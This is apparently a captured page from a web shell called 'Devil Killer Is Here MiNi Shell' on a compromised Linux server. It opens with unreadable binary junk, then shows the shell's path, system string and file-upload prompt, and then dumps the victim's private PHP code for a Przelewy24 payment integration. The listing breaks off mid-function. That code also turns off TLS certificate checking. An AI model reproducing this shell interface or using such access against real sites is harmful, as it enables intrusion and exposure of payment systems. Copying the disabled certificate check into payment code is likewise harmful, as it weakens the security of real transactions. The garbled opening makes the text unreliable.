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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/components/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/components/Przelewy24New.php

<?php

namespace common\components;

use Yii;
use yii\base\Component;
use yii\base\InvalidConfigException;

class Przelewy24New extends Component 
{   
    const ENCODING = 'UTF-8';
    const HOST_LIVE = 'https://secure.przelewy24.pl';
    const HOST_SANDBOX = 'https://sandbox.przelewy24.pl';
    
//    const CODE_INCOMPLETE_SPLIT_TRANSFER = 600;
    
    public $merchantId = null;
    public $posId = null;
    public $crcSalt = null;
    public $secretId = null;
    public $testMode = true;  
    public $commissionFactor = 0.015;
    
    protected $postData = [];
    protected $responseData = [];
    protected $host = [];

    protected $_error = [];
    
    protected $stringValidator;
    protected $requiredValidator;
    protected $numberValidator;
    protected $rangeValidator;
    protected $emailValidator;
    protected $urlValidator;
    
    protected $paymentMethods = [
        20 => 'BZ WBK - Przelew24',
        25 => 'mBank - mTransfer',
        26 => 'Płacę z Inteligo',
        31 => 'Płacę z iPKO (PKO BP)',
        35 => 'Przelew z BPH',
        45 => 'Credit Agricole',
        64 => 'Toyota Bank',
        65 => 'Bank PEKAO S.A.',
        68 => 'Allianz Bank',
        69 => 'Volkswagen Bank',
        82 => 'Polbank',
        85 => 'Bank Millennium',
        87 => 'SkyCash',
        88 => 'Płacę z Alior Bankiem',
        94 => 'Euro Bank',
        97 => 'mPay',
        99 => 'Płać z BOŚ',
        102 => 'Raiffeisen Bank PBL',
        103 => 'DnB Nord',
        105 => 'E-SKOK',
        110 => 'db Transfer',
        112 => 'Płać z ING',
        119 => 'Płacę z CitiHandlowy',
        121 => 'T-Mobile Usługi Bankowe',
        129 => 'Alior - Raty',
        131 => 'Płacę z Plus Bank',
        135 => 'Płacę z IKO',
        136 => 'mBank - Raty',
        141 => 'e-transfer Pocztowy24',
        143 => 'Banki Spółdzielcze',
        144 => 'Podkarpacki BS',
        153 => 'Getin Bank',
        154 => 'BLIK - PSP',
        158 => 'Noble Pay',
        160 => 'eBGŻ',
        161 => 'Płacę z IdeaBank',
        176 => 'Płacę w Żabce',
        222 => 'NestPrzelew',
        243 => 'mBank - mTransfer',
        178 => 'Przekaz/Przelew tradycyjny',
        177 => 'Użyj przedpłaty',
    ];
    
    public function init()
    {
        parent::init();
        
        foreach(['merchantId', 'posId', 'crcSalt', 'secretId', 'testMode'] as $property) {
            if(!isset($this->$property)) {
                throw new InvalidConfigException('Przelewy24::'.$property.' must be set.');
            }
        }        
        
//        $this->setPostData('merchantId', (int)$this->merchantId);
//        $this->setPostData('posId', (int)$this->posId);
//        $this->setPostData('encoding', self::ENCODING);
        
        $this->host = $this->testMode ? self::HOST_SANDBOX : self::HOST_LIVE;
        
        $this->stringValidator = new \yii\validators\StringValidator();
        $this->requiredValidator = new \yii\validators\RequiredValidator();
        $this->numberValidator = new \yii\validators\NumberValidator();
        $this->rangeValidator = new \yii\validators\RangeValidator(['range' => []]);
        $this->emailValidator = new \yii\validators\EmailValidator();
        $this->urlValidator = new \yii\validators\UrlValidator();
    }

    public function getPostData($key = null)
    {
        if(!empty($key)) {
            return isset($this->postData[$key]) ? $this->postData[$key] : null;
        } else {
            return $this->postData;
        }
    }
    
    public function setPostData($key, $value)
    {
        list($flag, $value) = $this->filterAndValidatePostDataField($key, $value);
        if($flag === true) {
            $this->postData[$key] = $value;
        } 
        
        return $flag;
    }
    
    public function clearAll()
    {
        $this->postData = [];
        $this->responseData = [];
        $this->_error = [];
    }
    
    public function getResponseData($key = null)
    {
        if(!empty($key)) {
            return isset($this->responseData[$key]) ? $this->responseData[$key] : null;
        } else {
            return $this->responseData;
        }
    }
    
    public function clearPostData($key = null)
    {
        if(!empty($key)) {
            unset($this->postData[$key]);
        } else {
            $this->postData = [];
        }
    }
    
    public function setHost($hostType)
    {
        if($hostType === self::HOST_SANDBOX) {
            $this->testMode = true;
            $this->host = self::HOST_SANDBOX;
        } elseif($hostType === self::HOST_LIVE) {
            $this->testMode = false;
            $this->host = self::HOST_LIVE;
        }
    }
    
    public function testConnection() 
    { 
        $postFields = [];
        $postFields['merchantId'] = $this->merchantId;        
        $postFields['posId'] = $this->posId; 
        
        $flag = $this->executeCurl('/api/v1/testAccess', 'GET', $postFields);
            
        return $flag;
    }

    public function registerTransaction($redirect = false) 
    {
        $this->setPostData('merchantId', (int)$this->merchantId);
        $this->setPostData('posId', (int)$this->posId);
        $this->setPostData('encoding', self::ENCODING);
        
        $signParts = [
            'sessionId' => $this->postData['sessionId'],
            'merchantId' => (int)$this->postData['merchantId'],
            'amount' => (int)$this->postData['amount'],
            'currency' => $this->postData['currency'],
            'crc' => $this->crcSalt
        ];
        $sign = hash('sha384', json_encode($signParts, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)); 
        $this->setPostData('sign', $sign);
        
        $postDataFieldsNames = [
            'merchantId', 'posId', 'sessionId', 'amount', 'currency', 'description', 'email', 'client', 'address', 
            'zip', 'city', 'country', 'phone', 'language', 'method', 'urlReturn', 'urlStatus', 'timeLimit', 
            'waitForResult', 'regulationAccept', 'channel', 'shipping', 'transferLabel', 'mobileLib', 'sdkVersion', 'sign', 'encoding', 
            'methodRefId', 'cart'
        ];
        $postDataFieldsNamesRequired = [
            'merchantId', 'posId', 'sessionId', 'amount', 'currency', 'description', 'email', 'client',  
            'country', 'language', 'urlReturn', 'sign'
        ];
        $cartFieldsNames = ['sellerId', 'sellerCategory', 'name', 'description', 'quantity', 'price', 'number'];
        $cartFieldsNamesRequired = ['sellerId', 'sellerCategory'];
        
        foreach($postDataFieldsNamesRequired as $postDataFieldNameRequired) {
            if($this->getPostData($postDataFieldNameRequired) === null) {
                $this->_error = ['code' => 400, 'message' => 'Wartość parametru "'.$postDataFieldNameRequired.'" jest wymagana.'];
                return false;
            }
        }
        $cart = $this->getPostData('cart');
        if(!empty($cart)) {
            foreach($cart as $key => $cartItem) {
                foreach($cartFieldsNamesRequired as $cartFieldNameRequired) {
                    if(!isset($cartItem[$cartFieldNameRequired]) || $cartItem[$cartFieldNameRequired] === null || $cartItem[$cartFieldNameRequired] === '') {
                        $this->_error = ['code' => 400, 'message' => 'Wartość parametru cart['.$key.']["'.$cartFieldNameRequired.'"] jest wymagana.'];
                        return false;
                    }
                }  
            }     
            
            $postDataCartFields = [];
            foreach($cart as $key => $cartItem) {
                foreach($cartFieldsNames as $cartFieldName) {
                    if($cartItem[$cartFieldName] !== null) {
                        $postDataCartFields[$key][$cartFieldName] = $cartItem[$cartFieldName];
                    }
                }
            }
        }        

        $postDataFields = [];
        foreach($postDataFieldsNames as $postDataFieldName) {
            if($postDataFieldName !== 'cart') {
                $value = $this->getPostData($postDataFieldName);
                if($value !== null) {
                    $postDataFields[$postDataFieldName] = $value;
                }
            } elseif(!empty($postDataCartFields)) {
//                $postDataFields[$postDataFieldName] = json_encode($postDataCartFields);
                $postDataFields[$postDataFieldName] = $postDataCartFields;
            }
        }
        
        $flag = $this->executeCurl('/api/v1/transaction/register', 'POST', $postDataFields, true);
        if($flag === true) {
            $token = $this->getResponseData('data')['token'];
            if($token === null) {
                return false;
            }            
        } else {
            return false;
        }
        
        if($redirect === true) {
            header('Location:'.$this->host.'/trnRequest/'.$token);
            return null;          
        } else {
            return $token;
        }
    } 
    
    public function verifyTransaction() 
    {       
        $this->setPostData('merchantId', (int)$this->merchantId);
        $this->setPostData('posId', (int)$this->posId);
        
        $signParts = [
            'sessionId' => $this->postData['sessionId'],
            'orderId' => (int)$this->postData['orderId'],
            'amount' => (int)$this->postData['amount'],
            'currency' => $this->postData['currency'],
            'crc' => $this->crcSalt
        ];
        $sign = hash('sha384', json_encode($signParts, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)); 
        $this->setPostData('sign', $sign); 

        $postDataFieldsNames = ['merchantId', 'posId', 'sessionId', 'amount', 'currency', 'orderId', 'sign'];
        
        $postDataFields = [];
        foreach($postDataFieldsNames as $postDataFieldName) {
            $value = $this->getPostData($postDataFieldName);
            if($value === null) {
                $this->_error = ['code' => 400, 'message' => 'Wartość parametru "'.$postDataFieldName.'" jest wymagana.'];
                return false;
            }
            $postDataFields[$postDataFieldName] = $value;
        }
        
        $flag = $this->executeCurl("/api/v1/transaction/verify", 'PUT', $postDataFields, true);
        if($flag) {
            $response = $this->getResponseData();
            if(isset($response['responseCode']) && isset($response['data']['status']) && $response['responseCode'] === 0 && $response['data']['status'] === 'success') {
                return true;
            } else {
                return false;
            }
        }
    
        return false;
    }
    
    public function getTransactionRequestUrl($token)
    {
        return $this->host.'/trnRequest/'.$token;
    }
    
    public function executeCurl($endpoint, $method = 'GET', $data = [], $asApplicationJson = false)
    {        
        $curl = curl_init();        
        curl_setopt($curl, CURLOPT_USERPWD, $this->posId.":".$this->secretId);
        curl_setopt($curl, CURLOPT_URL, $this->host.$endpoint);
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
        curl_setopt($curl, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);
//        var_dump($data); exit;
        if($asApplicationJson && !empty($data)) {
            $data = json_encode($data);
            curl_setopt($curl, CURLOPT_HTTPHEADER, [
                'Content-Type: application/json',
                'Content-Length: '.strlen($data)
            ]);
        }
        
        if($method === 'POST') {
            curl_setopt($curl, CURLOPT_POST, 1);
            curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
        } elseif($method === 'PUT') {
            curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'PUT');
            curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
        }
        
        $curlResponse = curl_exec($curl);
        if(curl_errno($curl) > 0) {
            //$this->_setError(curl_error($curl));
            //var_dump(curl_error($curl));
            $this->_error = ['code' => 203, 'message' => 'call: Curl exec error'];
            curl_close($curl);
            return false;
        }        
        
        if($curlResponse) {
            $curlInfo = curl_getinfo($curl);
            curl_close($curl);
            
            $this->responseData = json_decode($curlResponse, true);
//            var_dump($this->posId.":".$this->secretId);
//            var_dump($this->responseData); 
//            exit;
            if($curlInfo['http_code'] === 200) {
                $this->_clearError();                
                if(isset($this->responseData['responseCode']) && $this->responseData['responseCode'] != '0') {
                    $this->_error = ['code' => 200, 'message' => 'call:Unknow error ('.$this->responseData['responseCode'].')'];
                    return false;
                } elseif(isset($this->responseData['code']) && !empty($this->responseData['error'])) {
                    $this->_error = ['code' => 200, 'message' => 'call:'.$this->responseData['error'].' ('.$this->responseData['code'].')'];
                    return false;
//                } elseif(isset($this->responseData['error']['errorCode']) && !empty($this->responseData['error']['errorCode'])) {
//                    $this->_error = ['code' => 200, 'message' => 'call:'.$this->responseData['error']['errorMessage'].' ('.$this->responseData['error']['errorCode'].')'];
//                    return false;
                } else {
                    return true;
                }                
            } else {
//                var_dump(json_decode($data, true));
//                var_dump($this->responseData);
//                exit;
                $this->_error = ['code' => 200, 'message' => 'call:Page load error - '.$this->responseData['error'].' ('.$curlInfo['http_code'].')'];
                return false;
            }
        } else {
            curl_close($curl);
            return false;
        }
    }
    
    protected function filterAndValidatePostDataField($key, $value)
    {
        $errorMessage = '';
        $flag = true;
        switch($key) {
            case 'merchantId': 
            case 'posId':  
            case 'encoding': 
            case 'sign':
            case 'orderId': 
                //dla tych atrybutów walidacja i filtrowanie są niepotrzebne - dane pochodzą z konfigu
                break;
            case 'sessionId':
                $value = trim((string)$value);
                $this->stringValidator->min = 1;
                $this->stringValidator->max = 100;
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->stringValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 100 znaków.';
                } 
                break;
            case 'amount': 
                $value = (float)$value;
                if(is_float($value)) {
                    $value = $value * 100;
                }
                $value = (int)$value;
                $this->numberValidator->integerOnly = true;
                $this->numberValidator->min = 1;
                $this->numberValidator->max = null;
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->numberValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być liczbą całkowitą.';
                }
                break;
            case 'currency':
                $value = mb_strtoupper(trim($value));
                $this->rangeValidator->range = ['PLN', 'EUR', 'GBP', 'CZK'];
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->rangeValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Nieprawidłowa wartość. Dopuszczalne wartości: '.implode(', ', $this->rangeValidator->range).'.';
                }
                break;
            case 'description':
                $value = trim((string)$value);
                $this->stringValidator->min = 1;
                $this->stringValidator->max = 1024;
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->stringValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 1024 znaków.';
                } 
                break;
            case 'email':
                $value = trim((string)$value);
                $this->stringValidator->min = 1;
                $this->stringValidator->max = 50;
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->stringValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 50 znaków.';
                } elseif(!$this->emailValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Podana wartość nie jest adresem e-mail.';
                }
                break;
            case 'client': 
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->min = 1;
                    $this->stringValidator->max = 40;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 40 znaków.';
                    }
                }
                break;
            case 'address': 
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->min = 1;
                    $this->stringValidator->max = 80;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 80 znaków.';
                    }
                }
                break;
            case 'zip': 
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->min = 1;
                    $this->stringValidator->max = 10;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 10 znaków.';
                    }
                }
                break;
            case 'city': 
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->min = 1;
                    $this->stringValidator->max = 50;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 50 znaków.';
                    }
                }
                break;
            case 'country':
                $value = mb_strtoupper(trim($value));
                $this->rangeValidator->range = ['AD', 'AT', 'BE', 'CY', 'CZ', 'DK', 'EE', 'FI', 'FR', 'EL', 'ES', 'NL', 'IE', 'IS', 'LT', 'LV', 'LU', 'MT', 'NO', 'PL', 'PT', 'SM', 'SK', 'SI', 'CH', 'SE', 'HU', 'GB', 'IT', 'US', 'CA', 'JP', 'UA', 'BY', 'RU'];
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->rangeValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Nieprawidłowa wartość. Dopuszczalne wartości: '.implode(', ', $this->rangeValidator->range).'.';
                }
                break;
            case 'phone': 
                $value = trim((string)$value);
                if(!empty($value)) {
                    $value = preg_replace('|[^0-9]+|i', '', $value);
                    if(mb_strlen($value) < 11) {
                        $value = '48'.$value;
                    }
                    $this->stringValidator->min = 1;
                    $this->stringValidator->max = 12;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem zawierającym minimum 11 cyfr. Przykładowy format: 48333222111.';
                    }
                }
                break;
            case 'language':
                $value = trim((string)$value);
                if(!empty($value)) {
                    $value = mb_strtolower(trim($value));
                    $this->rangeValidator->range = ['bg', 'cs', 'de', 'en', 'es', 'fr', 'hr', 'hu', 'it', 'nl', 'pl', 'pt', 'se', 'sk'];
                    if(!$this->rangeValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Nieprawidłowa wartość. Dopuszczalne wartości: '.implode(', ', $this->rangeValidator->range).'.';
                    }
                }
                break;
            case 'method':
                $value = (int)trim($value);
                if(!empty($value)) {
                    $this->numberValidator->integerOnly = true;
                    $this->numberValidator->min = null;
                    $this->numberValidator->max = null;
                    if(!$this->numberValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być liczbą całkowitą.';
                    }
                }
                break;
            case 'urlReturn':
                $value = trim((string)$value);
                $this->stringValidator->min = 1;
                $this->stringValidator->max = 250;
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->stringValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 250 znaków.';
                } elseif(!$this->urlValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Podana wartość nie jest adresem url.';
                }
                break;
            case 'urlStatus':
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->min = 1;
                    $this->stringValidator->max = 250;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 250 znaków.';
                    } elseif(!$this->urlValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Podana wartość nie jest adresem url.';
                    }
                }
                break;
            case 'timeLimit':
                $value = (int)trim($value);
                if(!empty($value)) {
                    $this->numberValidator->integerOnly = true;
                    $this->numberValidator->min = 0;
                    $this->numberValidator->max = 99;
                    if(!$this->numberValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być liczbą całkowitą z zakresu 0-99.';
                    }
                }
                break;
            case 'waitForResult':
                if($value !== true && $value !== false) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być wartością true lub false.';
                }
                break;
            case 'channel': 
                $value = (int)trim($value);
                if(!empty($value)) {
                    $this->rangeValidator->range = [1, 2, 4, 8, 16, 32, 64, 128, 256];
                    if(!$this->rangeValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Nieprawidłowa wartość. Dopuszczalne wartości: '.implode(', ', $this->rangeValidator->range).'.';
                    }
                }
                break;
            case 'shipping':
                $value = (float)$value;                
                if(!empty($value)) {
                    if(is_float($value)) {
                        $value = $value * 100;
                    }
                    $value = (int)$value;
                    $this->numberValidator->integerOnly = true;
                    $this->numberValidator->min = 0;
                    $this->numberValidator->max = null;
                    if(!$this->numberValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być liczbą całkowitą.';
                    }
                }
                break;
            case 'transferLabel': 
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->min = 1;
                    $this->stringValidator->max = 20;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 20 znaków.';
                    }
                }
                break;
            case 'regulationAccept':
                if($value !== true && $value !== false) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być wartością true lub false.';
                }
                break;
            case 'mobileLib':
                $value = (int)$value;
                $this->numberValidator->integerOnly = true;
                $this->numberValidator->min = 1;
                $this->numberValidator->max = null;
                if(!empty($value)) {
                    if(!$this->numberValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być liczbą całkowitą.';
                    }
                }
                break;
            case 'sdkVersion':
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->min = 1;
                    $this->stringValidator->max = 10;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 10 znaków.';
                    }
                }
                break;
            case 'methodRefId':
                $value = trim((string)$value);
                if(!empty($value)) {
                    $this->stringValidator->min = 1;
                    $this->stringValidator->max = 250;
                    if(!$this->stringValidator->validate($value)) {
                        $flag = false;
                        $errorMessage = 'Wartość musi być tekstem o długości maksymalnie 250 znaków.';
                    }
                }
                break;
            case 'cart':
                foreach($value as $key => $item) {
                    $orBreak_2 = false;
                    foreach($item as $fieldName => $fieldValue) {
                        $orBreak_1 = false;
                        switch($fieldName) {
                            case 'sellerId':                                
                            case 'sellerCategory':
                                $fieldValue = trim((string)$fieldValue);
                                $this->stringValidator->min = 1;
                                $this->stringValidator->max = null;
                                if(!$this->requiredValidator->validate($fieldValue)) {
                                    $orBreak_1 = true;
                                    $errorMessage = 'Wartość "'.$fieldName.'" jest wymagana.';
                                } elseif(!$this->stringValidator->validate($fieldValue)) { 
                                    $orBreak_1 = true;
                                    $errorMessage = 'Wartość "'.$fieldName.'" musi być tekstem o długości minimalnie 1 znaku.';
                                }
                                break;
                            case 'name':
                            case 'description':
                                $fieldValue = trim((string)$fieldValue);
                                if(!empty($fieldValue)) {                                
                                    $this->stringValidator->min = 1;
                                    $this->stringValidator->max = null;
                                    if(!$this->stringValidator->validate($fieldValue)) {
                                        $orBreak_1 = true;
                                        $errorMessage = 'Wartość "'.$fieldName.'" musi być tekstem o długości minimalnie 1 znaku.';
                                    }
                                }
                                break;
                            case 'quantity':
                                $fieldValue = (int)trim($fieldValue);
                                $this->numberValidator->integerOnly = true;
                                $this->numberValidator->min = 1;
                                $this->numberValidator->max = null;
                                if(!empty($fieldValue)) { 
                                    if(!$this->numberValidator->validate($fieldValue)) {
                                        $orBreak_1 = true;
                                        $errorMessage = 'Wartość "'.$fieldName.'" musi być liczbą całkowitą o minimalnej wartości: 1.';
                                    }
                                }
                                break;
                            case 'price':
                                $fieldValue = (float)$fieldValue;
                                if(is_float($fieldValue)) {
                                    $fieldValue = $fieldValue * 100;
                                }
                                $fieldValue = (int)$fieldValue; 
                                $this->numberValidator->integerOnly = true;
                                $this->numberValidator->min = 1;
                                $this->numberValidator->max = null;
                                if(!empty($fieldValue)) { 
                                    if(!$this->numberValidator->validate($fieldValue)) {
                                        $orBreak_1 = true;
                                        $errorMessage = 'Wartość "'.$fieldName.'" musi być liczbą całkowitą.';
                                    }
                                }
                                break;
                            case 'number':
                                $fieldValue = trim((string)$fieldValue);
                                if(!empty($fieldValue)) {                                
                                    $this->stringValidator->min = 1;
                                    $this->stringValidator->max = null;
                                    if(!$this->stringValidator->validate($fieldValue)) {
                                        $orBreak_1 = true;
                                        $errorMessage = 'Wartość "'.$fieldName.'" musi być tekstem o długości minimalnie 1 znaku.';
                                    }
                                }
                                break;
                        }
                        if($orBreak_1) {
                            $orBreak_2 = true;
                            break;
                        } else {
                            $value[$key][$fieldName] = $fieldValue;
                        }
                    }
                    if($orBreak_2) {
                        $flag = false;
                        break;
                    }
                }
                break;
            case 'batchId':
                $value = (int)trim($value);
                $this->numberValidator->integerOnly = true;
                $this->numberValidator->min = 1;
                $this->numberValidator->max = null;
                if(!$this->requiredValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość jest wymagana.';
                } elseif(!$this->numberValidator->validate($value)) {
                    $flag = false;
                    $errorMessage = 'Wartość musi być liczbą całkowitą.';
                }
                break;
            case 'details':
                foreach($value as $key => $item) {
                    $orBreak_2 = false;
                    foreach($item as $fieldName => $fieldValue) {
                        $orBreak_1 = false;
                        switch($fieldName) {
                            case 'orderId':   
                            case 'sellerId':
                                $fieldValue = (int)trim($fieldValue);
                                $this->numberValidator->integerOnly = true;
                                $this->numberValidator->min = 1;
                                $this->numberValidator->max = null;
                                if(!$this->requiredValidator->validate($fieldValue)) {
                                    $flag = false;
                                    $errorMessage = 'Wartość "'.$fieldName.'" jest wymagana.';
                                } elseif(!$this->numberValidator->validate($fieldValue)) {
                                    $flag = false;
                                    $errorMessage = 'Wartość "'.$fieldName.'" musi być liczbą całkowitą.';
                                }
                                break;
                            case 'sessionId':
                                $fieldValue = trim((string)$fieldValue);
                                $this->stringValidator->min = 1;
                                $this->stringValidator->max = null;
                                if(!$this->requiredValidator->validate($fieldValue)) {
                                    $orBreak_1 = true;
                                    $errorMessage = 'Wartość "'.$fieldName.'" jest wymagana.';
                                } elseif(!$this->stringValidator->validate($fieldValue)) { 
                                    $orBreak_1 = true;
                                    $errorMessage = 'Wartość "'.$fieldName.'" musi być tekstem o długości minimalnie 1 znaku.';
                                }
                                break;  
                            case 'amount': 
                                $fieldValue = (float)$fieldValue;
                                if(is_float($fieldValue)) {
                                    $fieldValue = $fieldValue * 100;
                                }
                                $fieldValue = (int)$fieldValue;
                                $this->numberValidator->integerOnly = true;
                                $this->numberValidator->min = 1;
                                $this->numberValidator->max = null;
                                if(!$this->requiredValidator->validate($fieldValue)) {
                                    $flag = false;
                                    $errorMessage = 'Wartość "'.$fieldName.'" jest wymagana.';
                                } elseif(!$this->numberValidator->validate($fieldValue)) {
                                    $flag = false;
                                    $errorMessage = 'Wartość "'.$fieldName.'" musi być liczbą całkowitą.';
                                }
                                break;
                        }
                        if($orBreak_1) {
                            $orBreak_2 = true;
                            break;
                        } else {
                            $value[$key][$fieldName] = $fieldValue;
                        }
                    }
                    if($orBreak_2) {
                        $flag = false;
                        break;
                    }
                }
                break;
            default:                
                $errorMessage = 'Nieprawidłowa nazwa parametru.';
                $flag = false;
                break;
        }
        
        if(!empty($errorMessage)) {
            $this->_error = ['code' => 400, 'message' => $key.': '.$errorMessage];
        }
        
        return [$flag, $value];
    }    

    public function registerSubMerchant($modelForm) 
    {
        $postDataFields = [
            'business_type' => (int)$modelForm->business_type, 
            'name' => $modelForm->name, 
            'email' => $modelForm->email, 
            'pesel' => $modelForm->personal_identification_number, 
            'phone_number' => $modelForm->phone, 
            'bank_account' => $modelForm->bank_account, 
            'invoice_email' => $modelForm->invoice_email, 
            'shop_url' => $modelForm->shop_url, 
            'services_description' => $modelForm->services_description, 
            'trade' => $modelForm->trade, 
            'krs' => $modelForm->national_court_register_number, 
            'nip' => $modelForm->tax_id, 
            'regon' => $modelForm->business_registration_number, 
            'acceptance' => intval($modelForm->acceptance) === 1 ? true : false, 
            'representatives[0][name]' => $modelForm->representative_name,
            'representatives[0][pesel]' => $modelForm->representative_personal_identification_number,
            'contact_person[name]' => $modelForm->contact_person_name,
            'contact_person[email]' => $modelForm->contact_person_email,
            'contact_person[phone_number]' => $modelForm->contact_person_phone,
            'technical_contact[name]' => $modelForm->technical_contact_name,
            'technical_contact[email]' => $modelForm->technical_contact_email,
            'technical_contact[phone_number]' => $modelForm->technical_contact_phone,
            'address[country]' => $modelForm->address_id_country,
            'address[city]' => $modelForm->address_locality,
            'address[post_code]' => $modelForm->address_postcode,
            'address[street]' => $modelForm->address_address,
            'correspondence_address[country]' => $modelForm->correspondence_address_id_country,
            'correspondence_address[city]' => $modelForm->correspondence_address_locality,
            'correspondence_address[post_code]' => $modelForm->correspondence_address_postcode,
            'correspondence_address[street]' => $modelForm->correspondence_address_address,
        ];
        
        $flag = $this->executeCurl('/api/v1/merchant/register', 'POST', $postDataFields);
        if($flag === true) {            
            return [$this->responseData['data']['merchant_id'], $this->responseData['data']['link']];
        } else {
            return false;
        }
    } 
    
    public function dispatchTransaction()
    {
        $postDataFieldsNames = ['batchId', 'details'];
        $detailsFieldsNames = ['orderId', 'sessionId', 'sellerId', 'amount'];
        
        foreach($postDataFieldsNames as $postDataFieldName) {
            if($this->getPostData($postDataFieldName) === null) {
                $this->_error = ['code' => 400, 'message' => 'Wartość parametru "'.$postDataFieldName.'" jest wymagana.'];
                return false;
            }
        }
        
        $details = $this->getPostData('details');
        if(!empty($details)) {
            $postDataDetailsFields = [];
            foreach($details as $key => $detailsItem) {
                foreach($detailsFieldsNames as $detailsFieldName) {
                    if(!isset($detailsItem[$detailsFieldName]) || $detailsItem[$detailsFieldName] === null || $detailsItem[$detailsFieldName] === '') {
                        $this->_error = ['code' => 400, 'message' => 'Wartość parametru details['.$key.']["'.$detailsFieldName.'"] jest wymagana.'];
                        return false;
                    }
